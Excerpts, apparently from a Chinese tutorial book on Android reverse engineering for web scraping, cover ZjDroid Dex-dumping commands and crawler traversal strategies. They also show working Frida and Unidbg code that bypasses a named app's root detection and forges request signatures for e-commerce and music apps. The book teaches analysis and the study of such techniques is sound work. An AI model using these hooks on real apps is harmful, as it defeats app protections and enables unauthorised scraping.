文件包含可加载类名 （dump_Dexfile）： adb shell am broadcast -a com. zjdroid. invoke --ei target pid --es cmd {\" action\" ：\" dump_class\" ，\" Dexpath\" ：\" ∗∗∗∗∗\" } （3） 根据 Dalvik 相关内存指针动态反编译指定 Dex 文件， 并以文件形式保存 （backsmail）。 adb shell am broadcast -a com. zjdroid. invoke --ei target pid --es cmd { \" action\" ：\" backSmali\" ，\" Dexpath\" ：\" ∗∗∗∗∗\" } . 2 45 爬虫逆向进阶实战 （4） Dump 指定 Dex 文件内存中的数据并保存到文件 （dump_Dex）， （数据为 oDex 格式， 可在计算机 上反编译）。 adb shell am broadcast -a com. zjdroid. invoke --ei target pid --es cmd {\" action\" ：\" dump_Dex\" ，\" Dexpath\" ：\" ∗∗∗∗∗\" } （5） Dump 指定内存空间区域数据到文件 （dump_mem）。 adb shell am broadcast -a com. zjdroid. invoke --ei target pid --es cmd { \" action\" ：\" dump _ mem\" ，\" start\" ： 1234567，\" length\" ： 123} （6） Dump Dalvik 堆栈信息到文件， 文件可以通过 Java heap 分析工具分析处理 （dump_heap）。 adb shell am broadcast -a com. zjdroid. invoke --ei target pid --es cmd {\" action\" ：\" dump_heap\" } （7） 运行时动态调用 Lua 脚本， 该功能可以通过 Lua 脚本动态调用 Java 代码。 使用场景： 动态调用 解密函数、 动态触发特定逻辑 （invoke）。 adb shell am broadcast -a com. zjdroid. invoke --ei target pid --es cmd {\" action\" ：\" invoke\" ，\" filepath\" ：\" ∗∗∗∗\" } （8） 打印日志 tag， 可以查看相关命令执行的结果， 分析命令执行时的状态。 adb shelllogcat -s zjdroid-shell- {package name} （9） 打印日志 tag， 可以监听对应包名应用调用的 Api 信息。 adb shelllogcat -s zjdroid-Apimonitor- {package name} ZjDroid 工具使用方法： （1） 安装 Xposed， 再安装 ZjDroid. APK 模块， 然后软重启。 （2） 在 monitor 中开启全局调试模式。 （3） 从手机上打开壳 APK， 查看 APK 当前加载的 Dex 文件的信息。 参考 ZjDroid 工具相关命令 1。 （4） 通过脱壳命令 am broadcast - a. . . {\" action\" ：\" backSmali\" ， \" Dexpath\" ：\" \" } 进行脱壳， 参 考 ZjDroid 工具相关命令 3。 （5） 把脱壳后的 Dex 文件替换进原加壳的 APK 里面， 再用 Android Killer 反编译， 如果脱壳成功， 反 编译则会成功。"},
    {"text": "Unknown 1. 4 网络爬虫遍历策略 网络爬虫分为通用爬虫和聚焦爬虫， 我们平时的开发任务大都以聚焦爬虫为主， 采集策略比较清晰。 4 . 第 1 章 网络爬虫架构 而遍历策略更适用于搭建搜索引擎时通用爬虫的抓取策略， 目前遍历策略分为三大类： 广度优先策略、 深度优先策略和最佳优先策略。 1. 4. 1 广度优先策略 广度优先策略是指在抓取过程中， 在完成当前层次的搜索后， 才进行下一层次的搜索。 该算法可以让网络爬虫并行处理， 并且能有效避免爬虫陷入循环。 如图 1-7 二叉树的爬取顺序是 A-B-C-D-W-E-F-G-H。 我们通过 Python 实现广度优先。 def breadth_tree ( tree ) : if tree is None : return queues = [] node = tree queues. Append ( node ) while queues: node = queues. pop ( 0 ) ... if node. lchild is not None : queues. Append ( node. lchild ) if node. rchild is not None : queues. Append ( node. rchild ) ·图 1-7 1. 4. 2 深度优先策略 深度优先是指网络爬虫会从起始页开始， 先从一个链接开始采集， 在该链接的页面中解析到其他链 接时， 会选择一个链接继续跟踪， 直到处理完或者找不到链接再返回上一层的节点处理。 如图 1- 8 二叉树的爬取顺序是 A-B-D-G-W-C-E-F-H。 通过 Python 递归实现也很简单。 def depth_tree ( tree ) : if tree is not None : . . . if tree. _left is not None : return depth_tree ( tree. _left ) if tree. _right is not None : return depth_tree ( tree. _right ) 深度优先在很多情况下会导致爬虫陷入困境， 所以在使 用时， 需要进行一些特殊的处理， 避免在虚拟 Web 空间循环 和重复。 常见的避免措施有规范化 URL、 限制 URL 长度、 设置访 问黑名单、 内容指纹、 人工监视等。 规范化 URL 是避免站点 链接出现语法上的别名， 限制 URL 的最大长度可以避免在主 域名下的无限循环， 内容指纹是页面内容进行去重避免重复 ·图 1-8 采集。 .5 爬虫逆向进阶实战 1. 4. 3 最佳优先策略 最佳优先策略是通过一些网页分析算法， 预测 URL 与抓取目标的相 似度或与页面主题的相关性， 从而筛选出最优的 URL 进行采集。 比如通 过主域名或者 URL 后缀进行筛选， 或者提前制定好站点优先度， 然后进 行， 或者通过网页类型识别算法对 URL 进行筛选， 如图 1-9 所示。 这种策略也会有一定的局限性， 它只会采集预测结果中最符合的网 页。 这样会导致种子路径上的很多相关 URL 被忽略掉， 因此最佳优先策 略需要结合具体的应用进行调整。 ·图 1-9 Unknown 2. JEB 修改内存 JEB 默认的内存最大值为 4GB， 而目前反编译一个 100MB 的 APK， 需要的内存都超过 4GB， 默认内 存完全不够用。 所以要设置内存 max 值为 7. 9GB， 当然如果计算机本身内存不满 8GB 则会崩溃。 下面介绍在 Windows 环境下修改 JEB3 默认内存的方法， 如图 6-14 所示。 编辑 jeb_wincon. bat 文件， 在 startjeb 下面添加-Xmx8200m。"},
    {"text": "Unknown 9. 8 某监管 Root 检测绕过 本节案例是通过 Frida 绕过某监管 App 的 Root 检测， 逆向过程中使用到了一些之前没有出现的工具， 比如会通过 BlackDex32 进行脱壳。 案例环境： 某监管 App （Android 2. 0. 5）、 Jadx、 Frida、 BlackDex32、 夜神模拟器。 9. 8. 1 梆梆加固脱壳和反编译 在模拟器上启动该应用时， 发现应用不能在 Root 的设备上使用。 此时一般的解决方法是使用一些隐藏 Root 特征的 Xposed 插件， 简单 测试了一下发现没什么效果， 所以需要分析一下源码中的检测点， 如 图 9-100 所示。 先查壳， 发现使用了 《梆梆企业版》 加固， 如图 9-101 所示。 先用 Jadx 查看一下， 发现代码都被隐藏了。 根据 AndroidMaini- fest. xml 文件记录一下包名和版本， 版本是 2. 0. 5。 最好不要在 App 未启动时进行脱壳， 因为一些模块没有加载， 可 能无法获取到完整的 Dex 文件。 所以先开一个没有 Root 的模拟器， 正常启动应用， 把能点的模块都点一下。 ·图 9-100 然后使用 BlackDex32 脱壳工具对该应用进行脱壳。 因为 Black- Dex32 可以在未 Root 的设备上使用， 正好适用于当前的场景， 如图 9-102 所示。 ·图 9-101 ·图 9-102 3 32 . 第 9 章 Android 逆向案例 脱壳成功后， 把 Dex 文件打包复制到模拟器的共享文件夹中， 然后复制到本地处理。 修改所有的 Dex 文件名， 修改为 classes∗. dex， 如图 9-103 所示。 ·图 9-103 然后把原 APK 改为 rar 格式， 把修改后的 Dex 文件都复制到 rar 的文件中， 如 9-104 图所示。 ·图 9-104 然后把 rar 文件再改为 APK 格式， 放进 Jadx 中反编译， 如图 9-105 所示。 ·图 9-105 . 3 33 爬虫逆向进阶实战 可以看到已经完成了脱壳和反编译。 9. 8. 2 源码静态分析 反编译成功后， 全局搜索关键词 su。 因为目前对 Root 的检测基本都是基于 su 的， 如图 9-106 所示。 ·图 9-106 发现了 9 个相关的结果， 第三个 check_su_binary 挺像的， 但是笔者已经对这几个函数进行过调试， 发现并不是这个函数负责检测， 所以直接讲需要 Hook 的函数。 进入第二个方法 m8402p（）中， 分析源码可以发现该方法把系统目录中的文件遍历了一遍， 检测是否 有 su， 如果有则返回 true， 如图 9-107 所示。 ·图 9-107 9. 8. 3 Frida 绕过 Root 检测 编写 Hook 代码的时候需要注意 Jadx 上的注释， 比如 m8402p 的真实名字是 p。 该类的真实类名是 c. a. a. b. t。 按照代码逻辑， 在拦截到 p 方法后， 需要让它返回 false。 Hook 代码： 3 34 . 第 9 章 Android 逆向案例 import Frida, sys def on_message(message, data): print(\"[% s] => % s\" % (message, data)) session = Frida.get_usb_device().attach( 应用包名 ) js_code = \"\"\" Java.perform(function(){ console.log(\"1 start hook\"); var ba = Java.use( c.a.a.b.t ); if (ba){ console.log(\"2 find class\"); ba.p.overload().implementation = function(){ console.log(\"3 successfully\"); return false; } } }) \"\"\" script = session.create_script(js_code) script.on( message , on_message) script.load() sys.stdin.read() 运行之后进入了主界面， 成功绕过了 Root 检测， 如图 9-108 所示。 ·图 9-108 因为 Frida 没有用 spawn 的方式启动， 所以在启动 Frida 后， 要关闭 App 再重新打开， 才能让 Hook 生效。 本章案例中有各种逆向工具和常用 Hook 工具的使用案例， 有 360 加固、 腾讯加固、 梆梆加固的脱壳 实战， 还有多种分析和定位方法， 大家融会贯通后， 定能向前迈出一大步。 本章内容到这里就结束了， 书中的案例终究有限， 更多实战会持续更新在博客中。 . 3 35 验证码识别技术 随着互联网的高速发展， 验证码已经成为一项广泛使用且成熟的验证手段。 爬虫开发过程中往往会 因为提交表单或者高频采集触发验证码， 而不同网站的验证码又有不同的检验方式， 比如复杂的图文验 证码、 滑块验证码、 语义验证码、 点触验证码等， 所以验证码也成为爬虫的一个壁垒， 并且不同类型的 验证码需要定制专属的解决方案。 尽管网上有很多专注于验证码识别服务的打码平台， 但是昂贵的识别费用无法支持爬虫大规模的采 集。 本章主要针对验证码识别技术做出讲解和案例分享， 教大家从容应对验证码。 Unknown 5. BlackDex BlackDex 是一个无须 Root 的 Android 应用脱壳工 具， 支持 Android 系统在 5. 0 到 12 之间的版本， 可以 在任何手机上使用， 包括模拟器， 并且可对未安装的 APK 进 行 脱 壳， 但 是 BlackDex 主 要 针 对 第 一 代 壳， 二、 三代壳需要看缘分。 Github 地址： https： / / Github. com/ CodingGay / ·图 6-98 BlackDex BlackDex 可以当作备用脱壳工具， 如果想在未 Root 的设备上脱壳， 那么 BlackDex 是首选工具。"},
    {"text": "Unknown 9. 5 某 App 加密参数 Unidbg 生成 本节案例是对某 App 的 sign 参数分析和通过 Unidbg 模拟调用， 本部分的完整代码和相关环境可在代 码库中下载。"},
    {"text": "·图 9-40 分析搜索 接 口 / client. action， 可 以 发 现 有 动 态 加 密 参 数 Sign， 笔 者 省 略 了 一 些 Params 参 数， 在 Formdata 表单中提交了搜索词 keyword。 2 98 . 第 9 章 Android 逆向案例 params = { \"functionId\":\"search\", \"clientVersion\":\"10.1.4\", \"st\":\"1641536726374\", \"sign\":\"f874a1bb1ad674893f7514124587585d\", } Sign 是 32 位的， 可以先认为是 MD5 加密。"},
    {"text": "虽然通过 Hook 所有加密方法没找到和 Sign 相关的调用， 但这也是参数定位的技巧， 所以希望大家 . 2 99 爬虫逆向进阶实战 也练习一下， 掌握一下方法。"},
    {"text": "当 APK 过大导致 Jadx 内存不够时， 可以把 Dex 文件分批反编译， 经过检索后， 发现 Sign 的生成 在 com. common. utils. common. utils 的 BitmapkitUtils 类中， 如图 9- 44 所示。 ·图 9-44 通过分析源码可以得知， Sign 是通过 Native 方法 getSignFromJni 生成的， 加载的 jdbitmapkit. so 文件有 6 个参数， 且静态方法可以直接调用。"},
    {"text": "接下来编写 Frida hook 代码： import Frida, sys def on_message(message, data): print(\"[% s] => % s\" % (message, data)) session = Frida. get_usb_device().attach( App 包名 ) js_code = \"\"\" Java.perform(function(){ console.log(\"1 start hook\"); var ba = Java.use( com.自行补充.common.utils.BitmAPKitUtils ); if (ba){ console.log(\"2 find class\"); ba.getSignFromJni.overload( android.content.Context , java.lang.String , java.lang. String , java.lang.String , java.lang.String , java.lang.String ).implementation = func- tion(a1,a2,a3,a4,a5,a6){ 3 00 . 第 9 章 Android 逆向案例 console.log(\"3 successfully\"); console.log(a1); console.log(a2); console.log(a3); console.log(a4); console.log(a5); console.log(a6); var res = this.getSignFromJni(a1,a2,a3,a4,a5,a6) console.log(res); return res; } } }) \"\"\" script = session.create_script(js_code) script.on( message , on_message) script.load() sys.stdin.read() 启动并查看打印内容， 如图 9- 45 所示。"},
    {"text": "·图 9-45 参数一是 context 上下文， 参数二是 search， 参数三是 Params， 参数四是定值 1ed2c3eaa237283d， 参数 五是 android， 参数六是 APK 版本 10. 1. 4。"},
    {"text": "9. 5. 3 Unidbg 调用 Unidbg 在之前的章节中有过介绍， 需要准备好 APK 和 so 文件， 然后编写调用代码， 通过虚拟机去执 行 so 中的函数， 所以先提取出 APK 中的 so 文件， 如图 9- 46 所示。"},
    {"text": "笔者在 Github 下载了 0. 9. 5 版本源码， 在源码的 unidbg-android/ src / test/ java / com 目录下创建一个名为 jingdong. sign 的 class 文件。 packagecom.jingdong; import com.Github.unidbg.AndroidEmulator; import com.Github.unidbg.Module; import com.Github.unidbg.linux.android.AndroidEmulatorBuilder; import com.Github.unidbg.linux.android.AndroidResolver; import com.Github.unidbg.linux.android.dvm.* ; import com.Github.unidbg.memory.Memory; import java.io.File; import java.io.IOException; public class sign extends AbstractJni { private final AndroidEmulator emulator; private final VM vm; private Module module; String rootPath = \"C:\\\\Users\\\\lx\\\\Desktop\\\\App\\\\\"; File APKFile = new File(rootPath+\"某电商.APK\"); File soFile = new File(rootPath+\"libjdbitmAPKit.so\"); public sign() { emulator = AndroidEmulatorBuilder.for32Bit ().build(); final Memory memory = emulator.getMemory(); memory.setLibraryResolver(new AndroidResolver(23)); vm = emulator.createDalvikVM(APKFile); vm.setVerbose(false); vm.setJni(this); DalvikModule dm = vm.loadLibrary(soFile, true); module = dm.getModule(); dm.callJNI_OnLoad(emulator); Runtime.getRuntime ().addShutdownHook(new Thread(new Runnable() { @ Override public void run() { try { emulator.close(); } catch (IOException e) { e.printStackTrace(); } } })); } public String get_sign(){ return \"\"; } public static void main(String[] args) { com.jingdong.sign b = new com.jingdong.sign(); 3 02 . 第 9 章 Android 逆向案例 System.out .println(b.get_sign()); } } 代码大意是创建虚拟机， 加载 APK 和 so 文件， get_sign 方法为具体的调用逻辑， main 方法进行调用 和测试。"},
    {"text": "9. 5. 4 Unidbg 补环境 搭好架子后， 先运行看看是否需要补环境， 补环境就是根据 so 加载时的报错信息来补充相应的 Java 层 Api （笔者编辑器中默认的背景主题是黑色， 因为贴代码时黑色阅读不便， 所以都以白色为底色）， 如 图 9- 47 所示。"},
    {"text": "运行报错： getStaticObjectField （AbstractJni. java： 84） 报错信息： com / jingdong / common / utils / BitmAPKitUtils-＞a： Landroid / App / Application； ·图 9-47 此时可以点进去查看该方法的参数， 然后通过@ override 注解修改方法和属性， 根据报错内容中的类 型进行返回， 比如 getStaticObjectField 的参数是下面的三个， 报错中的类型是 Object， 如图 9- 48 所示。 ·图 9-48 补充内容如下： @ Override public DvmObject<? > getStaticObjectField(BaseVM vm, DvmClass dvmClass, String signature) { switch (signature) { case \"com/jingdong/common/utils/BitmAPKitUtils->a:Landroid/App/Application;\":{ return vm. resolveClass(\"android/App/Activity\", vm.resolveClass(\"android/content/ContextWrApper \", vm. resolveClass ( \" android/content/Context \"))). newObject ( signature); } } return super.getStaticObjectField(vm, dvmClass, signature); } 此时再次运行， 可以发现报错信息已经发生了变化， 说明 getStaticObjectField 补充成功， 接下来继续 . 3 03 爬虫逆向进阶实战 运行， 如图 9- 49 所示。 ·图 9-49 运行报错： getObjectField （AbstractJni. java： 149） 报错信息： android / content / pm / ApplicationInfo-＞sourceDir： Ljava / lang / String； 补充内容如下： @ Override public DvmObject<? > getObjectField(BaseVM vm, DvmObject<? > dvmObject, String signature) { if (\"android/App/ApplicationInfo->sourceDir:Ljava/lang/String;\".equals(signature)) { return new StringObject(vm, soFile.toString()); } if (\"android/content/pm/ApplicationInfo->sourceDir:Ljava/lang/String;\".equals(signature)) { return new StringObject(vm, soFile.toString()); } return super.getObjectField(vm, dvmObject, signature); } 运行报错： callStaticObjectMethod （AbstractJni. java： 383） 报 错 信 息： com / jingdong / common / utils / BitmAPKitZip-＞ unZip （ Ljava / lang / String；"},
    {"text": "·图 9-51 继续补环境， 补充内容： @ Override public DvmObject<? > callStaticObjectMethod(BaseVM vm, DvmClass dvmClass, String signature, VarArg varArg) { 3 04 . 第 9 章 Android 逆向案例 switch (signature) { case \"com/jingdong/common/utils/BitmAPKitZip->unZip(Ljava/lang/String;Ljava/lang/ String;Ljava/lang/String;)[ B\": String APKPath = APKFile.toString(); StringObject directory = varArg.getObjectArg(1); StringObject filename = varArg.getObjectArg(2); if (APKPath.equals(APKPath) && \"META-INF/\".equals(directory.getValue()) && \". RSA\".equals(filename.getValue())) { byte[] data = vm.unzip(\"META-INF/JINGDONG.RSA\"); return new ByteArray(vm, data); } } return super.callStaticObjectMethod(vm, dvmClass, signature, varArg); } 运行报错： newObject （AbstractJni. java： 656） 报错信息： sun / security / pkcs / PKCS7-＞＜init＞ （ [B） V， 如图 9-52 所示。 ·图 9-52 补充内容如下： @ Override public DvmObject <? > newObject ( BaseVM vm, DvmClass dvmClass, String signature, VarArg varArg) { if (\"sun/security/pkcs/PKCS7-><init>([B)V\".equals(signature)) { ByteArray array = varArg.getObjectArg(0); try { return vm.resolveClass(\"sun/security/pkcs/PKCS7\").newObject(new PKCS7(array. getValue())); } catch (ParsingException e) { throw new IllegalStateException(e); } } return super.newObject(vm, dvmClass, signature, varArg); } 运行报错： callObjectMethod （AbstractJni. java： 818） 报 错 信 息： sun / security / pkcs / PKCS7-＞ getCertificates （ ） [ Ljava / security / cert / X509Certificate；"},
    {"text": ". 3 05 爬虫逆向进阶实战 ·图 9-53 补充内容如下： @ Override public DvmObject<? > callObjectMethod(BaseVM vm, DvmObject<? > dvmObject, String signature, VarArg varArg) { if (\"sun/security/pkcs/PKCS7->getCertificates()[Ljava/security/cert/X509Certificate;\".equals(signature)) { PKCS7 pkcs7 = (PKCS7) dvmObject.getValue(); X509Certificate[] certificates = pkcs7.getCertificates(); return ProxyDvmObject.createObject (vm, certificates); } return super.callObjectMethod(vm, dvmObject, signature, varArg); } 运行报错： callStaticObjectMethod （AbstractJni. java： 383） 报错信息： com/ jingdong / common / utils / BitmapkitZip-＞objectToBytes （Ljava / lang / Object；"},
    {"text": "补充内容如下： //OtoB:Object to Bytes; private static byte[ ] OtoB(Object obj){ try { ByteArrayOutputStream ByteStream = new ByteArrayOutputStream(); ObjectOutputStream ObjectStream = new ObjectOutputStream(ByteStream); ObjectStream.writeObject(obj); ObjectStream.flush(); byte[] newArray = ByteStream.toByteArray(); ObjectStream.close(); ByteStream.close(); return newArray; 3 06 . 第 9 章 Android 逆向案例 } catch (IOException e) { throw new IllegalStateException(e); } } @ Override public DvmObject<? > callStaticObjectMethod(BaseVM vm, DvmClass dvmClass, String signature, VarArg varArg) { switch (signature) { case \"com/jingdong/common/utils/BitmAPKitZip->unZip(Ljava/lang/String;Ljava/lang/ String;Ljava/lang/String;)[ B\": String APKPath = APKFile.toString(); StringObject directory = varArg.getObjectArg(1); StringObject filename = varArg.getObjectArg(2); if (APKPath.equals(APKPath) && \"META-INF/\".equals(directory.getValue()) && \". RSA\".equals(filename.getValue())) { byte[] data = vm.unzip(\"META-INF/JINGDONG.RSA\"); return new ByteArray(vm, data); } case \"com/jingdong/common/utils/BitmAPKitZip->objectToBytes(Ljava/lang/Object;)[B\": DvmObject<? > obj = varArg.getObjectArg(0); byte[] bytes = OtoB(obj.getValue()); return new ByteArray(vm, bytes); } return super.callStaticObjectMethod(vm, dvmClass, signature, varArg); } 此时再次运行， 发现已经没有异常了。"},
    {"text": "调用方法如下： publicString get_sign(){ DvmClass BitmAPKitUtils = vm.resolveClass(\"com/jingdong/common/utils/BitmAPKitUtils\"); StringObject signs = BitmAPKitUtils.callStaticJniMethodObject(emulator,\"getSignFromJni() (Landroid/content/Context; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/ lang/String;Ljava/lang/String;)Ljava/lang/String;\", vm.resolveClass(\"android/App/Activity\").newObject(null), \"search\",\"提交的 Params 参数\", \"1ed2c3eaa237283d\", \"android\",\"10.1.4\"); String sign = signs.getValue(); System.out .println(sign); return sign; } 运行报错： newObjectV （AbstractJni. java： 690） 报错信息： java / lang / StringBuffer-＞＜init＞（）V， 如图 9-55 所示。 . 3 07 爬虫逆向进阶实战 ·图 9-55 还是环境问题， 继续补充： @ Override public DvmObject<? > newObjectV(BaseVM vm, DvmClass dvmClass, String signature, VaList vaList) { switch (signature) { case \"java/lang/StringBuffer-><init>()V\": return vm.resolveClass(\"java/lang/StringBuffer\").newObject(new StringBuffer()); } return super.newObjectV(vm, dvmClass, signature, vaList); } 运行报错： callObjectMethodV （AbstractJni. java： 373） 报错 信 息： java / lang / StringBuffer-＞ append （ Ljava / lang / String；"},
    {"text": "·图 9-56 补充内容如下： @ Override public DvmObject<? > callObjectMethodV(BaseVM vm, DvmObject<? > dvmObject, String signature, VaList vaList) { switch (signature) { case \"java/lang/StringBuffer->Append(Ljava/lang/String;)Ljava/lang/StringBuffer;\":{ StringBuffer buffer = (StringBuffer) dvmObject.getValue(); StringObject str = vaList.getObjectArg(0); buffer.Append(str.getValue()); return dvmObject; } } return super.callObjectMethodV(vm, dvmObject, signature, vaList); } 运行报错： newObjectV （AbstractJni. java： 690） 报错信息： java / lang / Integer-＞＜init＞ （I） V 在之前补充的 newObjectV 中继续添加： 3 08 . 第 9 章 Android 逆向案例 @ Override public DvmObject<? > newObjectV(BaseVM vm, DvmClass dvmClass, String signature, VaList vaList) { switch (signature) { case \"java/lang/StringBuffer-><init>()V\": return vm.resolveClass(\"java/lang/StringBuffer\").newObject(new StringBuffer()); case \"java/lang/Integer-><init>(I)V\": int value = vaList.getIntArg(0); return DvmInteger.valueOf (vm, value); } return super.newObjectV(vm, dvmClass, signature, vaList); } 运行报错： callObjectMethodV （AbstractJni. java： 373） 报错信息： java / lang / Integer-＞toString（）Ljava / lang / String； 在之前定义过的 callObjectMethodV 中继续添加 Integer-＞toString（） @ Override public DvmObject <? > callObjectMethodV ( BaseVM vm, DvmObject <? > dvmObject, String signature, VaList vaList) { switch (signature) { case \"java/lang/StringBuffer->Append(Ljava/lang/String;)Ljava/lang/StringBuffer;\":{ StringBuffer buffer = (StringBuffer) dvmObject.getValue(); StringObject str = vaList.getObjectArg(0); buffer.Append(str.getValue()); return dvmObject; } case \"java/lang/Integer->toString()Ljava/lang/String;\": Integer it = (Integer) dvmObject.getValue(); return new StringObject(vm, it.toString()); case \"java/lang/StringBuffer->toString()Ljava/lang/String;\": StringBuffer buffer = (StringBuffer) dvmObject.getValue(); return new StringObject(vm, buffer.toString()); } return super.callObjectMethodV(vm, dvmObject, signature, vaList); } 再次运行又是 callObjectMethodV 报错， callObjectMethodV （AbstractJni. java： 373） 报错信息： java / lang / StringBuffer-＞toString（）Ljava / lang / String；"},
    {"text": "·图 9-57 补充内容如下： @ Override public DvmObject <? > callObjectMethodV ( BaseVM vm, DvmObject <? > dvmObject, String signature, VaList vaList) { . 3 09 爬虫逆向进阶实战 switch (signature) { case \"java/lang/StringBuffer->Append(Ljava/lang/String;)Ljava/lang/StringBuffer;\":{ StringBuffer buffer = (StringBuffer) dvmObject.getValue(); StringObject str = vaList.getObjectArg(0); buffer.Append(str.getValue()); return dvmObject; } case \"java/lang/Integer->toString()Ljava/lang/String;\": Integer it = (Integer) dvmObject.getValue(); return new StringObject(vm, it.toString()); case \"java/lang/StringBuffer->toString()Ljava/lang/String;\": StringBuffer buffer = (StringBuffer) dvmObject.getValue(); return new StringObject(vm, buffer.toString()); } return super.callObjectMethodV(vm, dvmObject, signature, vaList); } 再次运行后， 终于没有异常， 成功返回 Sign 值， 如图 9-58 所示。"},
    {"text": "·图 9-58 本节案例中 Unidbg 的使用部分其实很简单， 搭架子写调用逻辑， 但是对环境补充了 10 次， 笔者把每 次的补充内容都贴了进来， 代码有些多， 但是方便大家补 充时进行查看和对比。"},
    {"text": "9. 5. 5 Web 服务搭建 Unidbg 是一个标准的 Maven 项目， 可以很便捷地通过 Springboot 开发 Web 接口进行远程调用。 最简单的搭建方 式是到 Github 中找一些 unidbg-server 的源码来自己改改， 或者自己建一个 Springboot 项目来搭一套 Web 服务， 如 图 9-59 所示。"},
    {"text": "大家跟着流程 做一做， 本书后续的逆向案例中不再使用 Unidbg 了， 因 为代码量太多， 不适合在书中粘贴， 但是 Unidbg 对逆向 分析非常有帮助， 它不仅提供了模拟调用， 更多的是可以 对 so 进行分析和调试。"},
    {"text": "Unknown 6. 4 Android 混淆和加密 Android 代码的混淆和 Js 的混淆很相似， 比如常见的包名类名和方法名混淆、 字符串混淆、 花指令、 OLLVM 混淆等。 Android 中的混淆不仅在 Java 层有， so 动态链接库中也会出现。 . 2 37 爬虫逆向进阶实战 6. 4. 1 Android 混淆技术 包名、 类名和方法名的混淆很常见， 一般反编译出来的源码都有这种混淆方式， 把包名、 类名、 方 法名替换成了 “a， b， c， d” 或者 “0oo0” 这种不便阅读的名称， 增加逆向的分析成本， 对于这种混淆 也没太好的处理方式， 只要认真分析源码问题并不大。 字符串混淆是指对源码中一些字符串变量进行混淆， Android 的字符串混淆在 Java 层或者 Native 层中都 可以进行。 实现的方法有通过编码进行混淆， 比如把字符串转换成 16 进制， 等到使用的时候再还原成字符 串变量。 对于使用了字符串混淆的源码， 只要能找到源码中对应的解密方法， 通过 Hook 调用解密函数即可。 花指令是指在源码中插入很多无用的或者不完整的指令， 其不会改变程序的运行逻辑， 但是通过一 些工具反编译时会出错。 因为工具反编译流程和应用的执行流程不同， 会出现很多无法识别的指令。 这 种情况的处理方式比较费时费力， 需要找到花指令的具体位置， 然后一层层去解开或者替换。 so 混淆之 JNI 函数名混淆， 因为 so 位于 Native 层， 需要通过 JNI 和才能和虚拟机中的 Java 层进行连 接。 虚拟机在加载 so 的时候会先执行 JNI_Onload 函数， 所以混淆了 JNI_Onload 函数名， 逆向时找不到入 口函数就难以断点调试。 混淆的实现方法有很多， 比如让 JNI_OnLoad 和 JNIEnv 的 registerNatives 函数结合 去实现动态的函数替换， 再通过 getStringc 函数符号表进行隐藏， 就等于混淆了 JNI 函数的函数名。 so 混淆之 OLLVM 混淆， OLLVM 混淆在之前的 Js 逆向章节中有过介绍， 其在 Android 混淆的应用上 也是基本一致的。 被 OLLVM 混淆后， 再通过 IDA 查看流程视图会变得非常复杂。 关于如何反混淆， 简单 费时的方法是在程序运行的时候把寄存器的参数打印出来， 然后人工进行分析。 省时的方法是直接用别 人写好的工具， 比如去控制流平坦化的工具 deflat 之类。 6. 4. 2 Android 加密技术 Android 加密有多种含义， 可对 Dex、 RES、 so 文件进行加密， 这是 Android 应用加固的一种方式， 在 后面的章节会具体讲解。 而本节的加密指的是 Java 层或者 so 层的加密算法， 比如 MD5、 Aes、 Des、 Hmac 等， 通常是对一些参数或者数据进行加密。 了解常见加密算法的实现有助于快速进行源码分析和参数定位， 具体的代码实现就不再贴出来了， 笔者总结了一些可作为关键词检索的特征词。 MD5 算法： MD5 加密后一般都是 32 位， 检索词：\" MD5\" 、 digest（）、 MessageDigest。 AES 算法： AES 的密钥一般都是明文的 16 字节， 密钥长度是 128bit 或 256bit， 加密出来的数据是 128 或 256 的整倍数。 检索词：\" AES\" \" ECB\" \" PKCS5Padding\" 。 RSA 算法： RSA 密钥长度是 64 的倍数， 默认 1024。 检索词： PrivateKey、 PublicKey。 DES 算法： DES 密钥长度是固定的 8 字节， 密钥需要一个初始化函数。 检索词：\" DES\" 。 Hmac 算法： 检索词： hmac、\" HmacSHA1\" 。 还有一些通用检索词： SecretKeySpec、 cipher、 cipherMode、 encrypt、 decrypt 等。 如果说这些检索词在源码中出现得非常多， 并不能帮助大家快速找到加解密位置， 那么可以使 用 Frida 去 Hook 加密算法， 或者使用 Xposed 的插件 Inspeckage、 算法助手 APK 等来协助分析， 都可 以快速打印出调用堆栈和秘钥、 密文、 明文等信息。 2 38 . 第 6 章 Android 逆向 Unknown 5. Frida 入门案例 本小节的案例是通过 Frida 对某音乐 App 的 signature 进行分析。 已知接口中有加密参数 signature， 用 AndroidKiller 进行反编译后， 在工程搜索中检索关键词， 查找加 2 20 . 第 6 章 Android 逆向 密参数位置。 经过分析， 确定签名在 com. kugou. common. utils. ba 的 b 方法中生成， 如图 6-70 所示。 ·图 6-70 根据观察得知类中有很多同名的 b 方法， 所以需要 overload 重载。 另外确定类型是 String， 所以参数 类型为 “java. lang. String”。 重载是指在同一个类内定义了多个相同的方法名称， 但是每个方法的参数类型和参数的个数都不同。 在调用方法重载的函数编译器会根据所填入的参数的个数以及类型来匹配具体调用对应的函数。 接下来启动 Frida， 编写 Hook 脚本。 import Frida, sys def on_message(message, data): if message[ type ] = = send : print(\"[* ] {0}\". format(message[ payload ])) else : print(message) jscode_hook = \"\"\" Java.perform( function (){ console .log(\"1. start hook\"); var ba = Java.use(\"com.kugou.common.utils.ba\"); if (ba != undefined ) { console .log(\"2. find class\"); ba.b .overload( java.lang.String ).implementation = function (a) { console .log(\"计算参数 a:\" + a); var res = ba.b(a); console .log(\"计算 result:\" + res); return res; } } } . 2 21 爬虫逆向进阶实战 ) \"\"\" process = Frida.get_usb_device().attach( com.kugou.android ) script = process.create_script(jscode_hook) script.on( message , on_message) print( [ * ] Hook Start Running ) script.load() sys.stdin.read() 运行 Hook 代码后， 可以看到输出的参数值， 包括加密时的入参和加密结果， 如图 6-71 所示。 ·图 6-71 通过分析入参的构建方式， 就可以快速地构建出 signature 的生成方法。"},
